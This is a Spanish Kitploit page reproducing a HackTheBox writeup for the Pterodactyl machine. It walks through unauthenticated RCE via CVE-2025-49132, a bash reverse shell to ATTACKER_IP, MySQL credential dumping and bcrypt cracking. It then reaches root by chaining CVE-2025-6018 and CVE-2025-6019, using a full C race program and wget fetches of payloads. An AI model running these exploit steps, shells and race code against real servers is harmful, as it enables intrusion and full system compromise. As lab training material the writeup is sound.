Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTB-Pterodactyl-Writeup — HTB Season 10 - writeup de la máquina Pterodactyl. Caja Linux de dificultad media que cubre CVE-2025-49132 (RCE en Pterodactyl Panel) y CVE-2025-6018/6019 (escalada de privilegios en udisks2). | Kitploit
Herramientas/GitHubGitHub/karimelsheikh1/htb-pterodactyl-writeup
Descifrado de ContraseñasEscalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónMovimiento LateralExplotación de Aplicaciones WebCTFPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Aprendizaje y Educación
GitHubkarimelsheikh1/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HTB Season 10 - writeup de la máquina Pterodactyl. Caja Linux de dificultad media que cubre CVE-2025-49132 (RCE en Pterodactyl Panel) y CVE-2025-6018/6019 (escalada de privilegios en udisks2).

Ver Repositorio
hace 3 mesesAún no revisado

HackTheBox — Writeup de Pterodactyl

Dificultad: Media | SO: Linux (openSUSE Leap 15.6) | Temporada: 10


Resumen

Pterodactyl es una máquina Linux de dificultad media que ejecuta el panel de servidor de juegos Pterodactyl. La cadena de ataque involucra una vulnerabilidad LFI a RCE sin autenticación en el panel, extracción de credenciales a través de MySQL, cracking de hash bcrypt para acceso SSH y una cadena de escalada de privilegios de dos CVE que abusa de la inyección de sesión PAM y una condición de carrera en el redimensionamiento de XFS de udisks2.

Flags:

  • User: ************************
  • Root: (obtenida mediante CVE-2025-6019)

Reconocimiento

Nmap

root@kitploit:~
nmap -sSCV -A --min-rate 4000 10.129.44.184

Puertos Abiertos:

PuertoServicioVersión
22SSHOpenSSH 9.6p1
80HTTPnginx/1.21.5 → pterodactyl.htb

/etc/hosts

root@kitploit:~
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

Enumeración Web

root@kitploit:~
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt

Hallazgos clave del changelog:

  • Sitio: MonitorLand
  • Versión del panel: Pterodactyl Panel v1.11.10 (vulnerable)
  • PHP-PEAR habilitado
  • Subdominio: panel.pterodactyl.htb

Análisis de phpinfo.php

root@kitploit:~
curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"

Acceso Inicial — CVE-2025-49132

CVE-2025-49132 afecta a Pterodactyl Panel ≤ v1.11.10. El endpoint /locales/locale.json pasa los parámetros locale y namespace directamente a la función include() de PHP sin saneamiento ni autenticación, lo que permite un directory traversal y RCE basado en pearcmd.

Exploit

root@kitploit:~
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb

# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR

Output: uid=474(wwwrun) gid=477(www) groups=477(www)

Credenciales Extraídas

ServicioUsuarioContraseña
MySQLpterodactylPteraPanel
LaravelAPP_KEYbase64:UaThTPQnUjrrK61o+...

Reverse Shell

root@kitploit:~
# Listener
nc -lnvp 4444

# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

Movimiento Lateral

Volcado de Credenciales MySQL

root@kitploit:~
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
  -e "USE panel; SELECT username,email,password FROM users;"
UsuarioHash
headmonitor$2y$10$3WJht3/5GOQmOXdljPbAJet...
phileasfogg3$2y$10$PwO0TBZA8hLB6nuSsxRqoO...

User Flag

root@kitploit:~
cat /home/phileasfogg3/user.txt

Cracking de Hash

root@kitploit:~
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3

Resultado: phileasfogg3 : !QAZ2wsx

Acceso SSH

root@kitploit:~
ssh [email protected]
# password: !QAZ2wsx

Escalada de Privilegios

Análisis de Sudo

root@kitploit:~
sudo -l

(ALL) ALL está configurado pero la opción targetpw de Defaults requiere la contraseña de root — bloqueando el abuso estándar de sudo.


Paso 1 — CVE-2025-6018: Bypass de Sesión PAM

CVE-2025-6018 abusa de pam_env.so en openSUSE para inyectar variables de entorno al iniciar sesión. Al colocar XDG_SEAT=seat0 y XDG_VTNR=1 en ~/.pam_environment, un usuario SSH remoto puede engañar a Polkit para que trate su sesión como una sesión de consola local activa (allow_active), desbloqueando acciones de D-Bus de gestión de hardware.

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

# Salir y volver a conectarse por SSH (PAM relee al iniciar nueva sesión)
exit
ssh [email protected]

# Verificar
echo $XDG_SEAT   # seat0
echo $XDG_VTNR   # 1

Paso 2 — CVE-2025-6019: Condición de Carrera en Redimensionamiento XFS de udisks2 → Root

CVE-2025-6019 explota la falta de la bandera nosuid en libblockdev cuando udisks2 monta temporalmente una imagen XFS durante una llamada D-Bus Filesystem.Resize. Al competir para ejecutar un binario SUID dentro de la imagen durante esta ventana, un usuario sin privilegios con derechos allow_active de Polkit puede obtener un shell de root.

Construir Imagen XFS (en máquina atacante)

root@kitploit:~
# Crear imagen XFS usando el mkfs.xfs del objetivo para compatibilidad
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs

# Construir directamente en el objetivo
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img

Transferir al atacante, inyectar binario SUID, transferir de vuelta:

root@kitploit:~
# En atacante (como root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl      # Debe mostrar -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz

Compilar Racer Rápido en C

root@kitploit:~
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char path[512], cmd[512];
    struct stat st;
    while(1) {
        DIR *d = opendir("/tmp");
        struct dirent *e;
        while((e = readdir(d))) {
            if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                    closedir(d);
                    snprintf(cmd, sizeof(cmd),
                        "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                    system(cmd);
                    return 0;
                }
            }
        }
        closedir(d);
    }
}
root@kitploit:~
gcc -O2 -o racer racer.c

Ejecutar la Carrera

root@kitploit:~
# En el objetivo
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer

udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Notar el número de dispositivo loop (ej. loop7)

rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &

for i in $(seq 1 300); do
  gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait

Resultado: Shell de root obtenido.

root@kitploit:~
id
# uid=0(root)

cat /root/root.txt

Cadena de Ataque

root@kitploit:~
[Nmap] Puertos 22, 80
    ↓
[Enumeración Web] changelog.txt → Pterodactyl Panel v1.11.10
    ↓
[phpinfo.php] register_argc_argv=On, PEAR en include_path
    ↓
[CVE-2025-49132] LFI sin autenticación → pearcmd RCE → shell wwwrun
    ↓
[MySQL] pterodactyl:PteraPanel → hashes bcrypt
    ↓
[Hashcat] phileasfogg3:!QAZ2wsx
    ↓
[SSH] phileasfogg3
    ↓
[CVE-2025-6018] ~/.pam_environment → bypass de allow_active
    ↓
[CVE-2025-6019] Carrera de redimensionamiento XFS de udisks2 → ejecución SUID → ROOT

Credenciales

ServicioUsuarioContraseña
MySQLpterodactylPteraPanel
SSH / Panelphileasfogg3!QAZ2wsx

Herramientas Utilizadas


Referencias

  • PoC CVE-2025-49132
  • PoC CVE-2025-6018-6019
  • Aviso de Qualys
  • HackTheBox

Writeup de [kareem elsheikh] | HackTheBox Temporada 10

Descargar herramienta
Configuración
Valor
Significado
register_argc_argvOnHabilita la explotación CLI de pearcmd
include_path.:/usr/share/php8:/usr/share/php/PEARpearcmd.php accesible
open_basedir(sin valor)Acceso al sistema de archivos sin restricciones
HerramientaPropósito
nmapEscaneo de puertos
dirsearchFuerza bruta de directorios web
CVE-2025-49132 exploitLFI sin autenticación + pearcmd RCE
hashcat (-m 3200)Cracking de bcrypt
CVE-2025-6018-6019 PoCBypass PAM + carrera udisks2
Racer personalizado en CGanar la condición de carrera nosuid